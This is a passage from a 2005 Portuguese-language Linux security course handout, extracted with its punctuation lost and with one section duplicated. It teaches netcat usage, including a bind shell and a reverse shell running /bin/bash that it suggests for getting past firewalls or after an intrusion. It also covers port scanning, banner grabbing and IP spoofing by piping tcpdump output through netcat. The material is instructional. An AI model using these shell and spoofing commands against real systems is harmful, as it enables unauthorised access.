Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 51: Curso de segurança em linux e redes em geral

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

